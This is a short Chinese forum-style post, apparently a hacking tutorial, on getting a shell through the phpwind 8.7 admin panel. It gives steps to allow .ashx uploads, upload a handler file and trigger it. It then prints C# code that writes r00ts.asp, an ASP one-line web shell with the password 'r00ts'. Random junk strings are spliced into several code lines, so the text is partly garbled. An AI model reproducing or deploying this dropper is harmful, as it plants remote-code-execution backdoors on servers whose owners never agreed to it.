phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
) @. u9 z: b* w& {5 j
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
  A; ^( U0 P8 I
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
' [+ m2 j/ a7 l. q7 z8 I5 ~9 R
3 I4 [2 q1 z. J" R然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

下面是代码:
6 _3 ]8 e* F% e9 g* L; C" H+ _
<%@ WebHandler Language="C#"Class="Handler" %>
1 q# T! T1 S& @  T2 x0 Vusing System;
. N7 v' U- o% x2 cusing System.Web;
) f' m& R) |( l  d6 Q0 rusing System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
) m% D) L0 z3 [6 |4 n( ]context.Response.ContentType = "text/plain";
, D8 ]4 a9 Z. y7 e& ^# pStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
file1.Close();
}
" |) H  y* ^- `: @! opublic bool IsReusable {
+ ^$ `) g$ O5 o' r$ s' f5 w9 ]get {
return false;
6 e8 {8 M" c/ T5 P}
. u$ C" k& G+ [- |}
}